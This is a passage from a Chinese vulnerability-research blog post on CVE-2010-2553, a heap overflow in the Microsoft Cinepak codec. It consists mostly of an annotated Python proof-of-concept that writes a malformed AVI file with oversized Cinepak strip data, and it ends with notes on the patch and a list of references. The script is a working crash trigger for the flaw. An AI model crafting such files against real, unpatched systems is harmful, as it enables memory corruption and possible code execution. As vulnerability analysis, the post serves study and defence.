"\x41\x56\x49\x20" # dwFourCC = "AVI "
"\x4C\x49\x53\x54" # dwList = "LIST" <---------------------------+
"\xC8\x00\x00\x00" # dwSize = 0xc8 = 200 byte |
"\x68\x64\x72\x6C" # dwFourCC = "hdrl" |
"\x61\x76\x69\x68" # dwFourCC = "avih" <-----------+ |
"\x38\x00\x00\x00" # dwSize = 0x38 = 56 byte | |
"\xA0\x86\x01\x00" # dwMicroSecPerFrame = 0x186A0 | |
"\x00\x00\x00\x00" # dwMaxBytesPerSec = 0x0 | |
"\x00\x00\x00\x00" # dwPaddingGranularity = 0x0 | |
"\x10\x01\x00\x00" # dwFlages = 0x110 | |
"\x4E\x00\x00\x00" # dwTotalFrame = 0x4E = 78 | |
"\x00\x00\x00\x00" # dwInitialFrames = 0x0 "avih" |
"\x01\x00\x00\x00" # dwStreams = 0x1 | |
"\x00\x00\x00\x00" # dwSuggestedBufferSize = 0x0 | |
"\x60\x01\x00\x00" # dwWidth = 0x160 = 352 | |
"\x20\x01\x00\x00" # dwHeight = 0x120 = 288 | |
"\x00\x00\x00\x00" # dwReserved[0] | |
"\x00\x00\x00\x00" # dwReserved[1] | |
"\x00\x00\x00\x00" # dwReserved[2] | |
"\x00\x00\x00\x00" # dwReserved[3] <---------------+ |
"\x4C\x49\x53\x54" # dwList = "LIST" <------------------+ |
"\x7C\x00\x00\x00" # dwSize = 0x7C = 124 byte | |
"\x73\x74\x72\x6C" # dwFourCC = "strl" | |
"\x73\x74\x72\x68" # dwFourCC = "strh" <-------+ | |
"\x38\x00\x00\x00" # dwSize = 0x38 = 56 byte | | |
"\x76\x69\x64\x73" # fccType = "vids" | | |
"\x63\x76\x69\x64" # fccHandler = "cvid" | | |
"\x00\x00\x00\x00" # dwFlags = 0x0 | | |
"\x00\x00" # wPriority = 0x0 | | |
"\x00\x00" # wLanguage = 0x0 | | |
"\x00\x00\x00\x00" # dwInitalFrames = 0x0 | | "hdrl"
"\xE8\x03\x00\x00" # dwScale = 0x3E8 = 1000 "strh" | |
"\x10\x27\x00\x00" # dwRate = 0x2710 = 10000 | | |
"\x00\x00\x00\x00" # dwStart = 0x0 | | |
"\x4E\x00\x00\x00" # dwLength = 0x4E = 78 | | |
"\x20\x74\x00\x00" # dwSuggestedBufferSize | | | ; 0x7420=29728
"\xFF\xFF\xFF\xFF" # dwQuality = -1 | | |
"\x00\x00\x00\x00" # dwSampleSize = 0x0 | | |
"\x00\x00" # left = 0x0 | "strl" |
"\x00\x00" # top = 0x0 | | |
"\x60\x01" # right = 0x160 = 352 | | |
"\x20\x01" # bottom =0x120 = 288<--+ | |
"\x73\x74\x72\x66" # dwFourCC = "strf" <-------+ | |
"\x28\x00\x00\x00" # dwSize = 0x28 = 40 byte | | |
"\x28\x00\x00\x00" # biSize = 0x28 = 40 byte | | |
"\x50\x01\x00\x00" # biWidth = 0x150 = 336 | | |
"\x20\x01\x00\x00" # biHeight =0x120 = 288 | | |
"\x01\x00" # biPlanes = 0x1 "strf" | |
"\x18\x00" # biBitCount = 0x18 = 24 | | |
"\x63\x76\x69\x64" # biCompression = "cvid" | | |
"\x84\x8D\x00\x00" # biSizeImage=0x8D84=36228 | | |
"\x00\x00\x00\x00" # biXPelsPerMeter = 0x0 | | |
"\x00\x00\x00\x00" # biYPelsPerMeter = 0x0 | | |
"\x00\x00\x00\x00" # biClrUsed = 0x0 | | |
"\x00\x00\x00\x00" # biClrImportant = 0x0 <----+ | |
) # | |
# | |
padding = ( # | |
"\x4A\x55\x4E\x4B" # dwFourCC = "JUNK" | |
"\x00\x00\x00\x00" # dwSize = 0x0 <-----------------+----+
"\x4A\x55\x4E\x4B" # dwFourCC = "JUNK"
"\x00\x00\x00\x00" # dwSize = 0x0
)

movi_tag = (
"\x4C\x49\x53\x54" # dwList = "LIST" <-----------------------------------------+
"\x5C\x00\x00\x00" # dwSize = 0x5C = 92 byte |
"\x6D\x6F\x76\x69" # dwFourCC = "movi" |
"\x30\x30\x64\x63" # dwFourCC = "00dc" | ; 压缩视频帧数据块
"\x10\x00\x00\x00" # dwSize = 0x10 = 16 byte |
) # |
# |
cinepak_codec_data1 = ( # |
"\x00" # Flags <-------------------+ | ; Flags = 0x0
"\x00\x00\x68" # Length of CVID data | | ; Length of CVID data = 0x68 = 104
"\x01\x60" # Width of coded frame "Frame Header" | ; Width of coded frame = 0x160 = 352
"\x01\x20" # Height of coded frame | | ; Height of coded frame = 0x120 = 288
) # | |
# | |
number_of_coded_strips = ( # | |
"\x00\x10" # Number of coded strips <--+ | ; number_of_coded_strips = 0x10 = 16
) # |
cinepak_codec_data2 = ( # |
"\x10\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1000 - Intra-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x00\x00" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x0
"\x00\x00" # Strips top X position | | ; Strips top X position = 0x0
"\x00\x60" # Strips bottom Y position | | ; Strips bottom Y position = 0x60 = 96
"\x01\x60" # Strips bottom X position<-+ | ; Strips bottom X position = 0x160 = 352
"\x20\x00" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x2000 - List of blocks in 12 bit V4 codebook
"\x00\x00" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x0
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" "movi" ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data | | ; Size of strip data = 0x10 = 16
"\x41\x41" # Strips top Y position "Strip Header" | ; Strips top Y position = 0x4141
"\x41\x41" # Strips top X position | | ; Strips top X position = 0x4141
"\x41\x41" # Strips bottom Y position | | ; Strips bottom Y position = 0x4141
"\x41\x41" # Strips bottom X position<-+ | ; Strips bottom X position = 0x4141
"\x41\x41" # CVID Chunk ID <-----------+ "CVID Chunk" | ; CVID Chunk ID = 0x4141
"\x41\x41" # Size of chunk data(N) <---+ | ; Size of chunk data = 0x4141
"\x11\x00" # Strip CVID ID <-----------+ | ; Strip CVID ID = 0x1100 - Inter-coded strip
"\x00\x10" # Size of strip data "Strip Header" | ; Size of strip data = 0x10 = 16
"\x41\x00" # Strips top Y position<----+---------------------------+ ; Strips top Y position = 0x4141
)

idx_tag = (
"\x69\x64\x78\x31" # dwFourCC = "idx1" <-----------+
"\x10\x00\x00\x00" # dwSize = 0x10 = 16 byte |
"\x30\x30\x64\x63" # dwChunkId = "00dc" "idx1"
"\x10\x00\x00\x00" # dwFlags = 0x10 |
"\x04\x00\x00\x00" # dwOffset = 0x4 |
"\x68\x00\x00\x00" # dwSize = 0x68 <-----------+
)

avifile = open('poc3.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)

avifile.close()
print '[-] AVI file generated'

if __name__ == '__main__':
main()

EXP 的内容即为把手搓的二进制文件内容塞到 .avi 文件里,参照注释理解即可

漏洞修复

该漏洞的修复在 iccvid.dll 1.10.0.12 -> 1.1.0.0.13 的补丁中。补丁为 Number of coded strips 设置了阈值,其值大于 3 时将会被修改为 3,进而限制了堆内存复制的次数以避免堆溢出的发生

Reference

NVD - CVE-2010-2553
CVE - CVE-2010-2553
CVEdetails.com - CVE-2010-2553
Github - CVE-2010-2553
Microsoft安全公告 MS10-055 - 严重
EXPLOIT DATABASE - Microsoft Cinepak Codec CVDecompress - Heap Overflow (MS10-055)
漏洞战争
Cinepak(CVID) stream format for AVI and QT
sp4n9x’s Blog - AVI文件格式分析
sp4n9x’s Blog - CVE-2010-2553复现与分析

  • Title: CVE-2010-2553 漏洞研究
  • Author: 7erry
  • Created at : 2024-09-04 13:35:03
  • Updated at : 2024-09-04 13:35:03
  • Link: http://7erry.com/2024/09/04/CVE-2010-2553-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.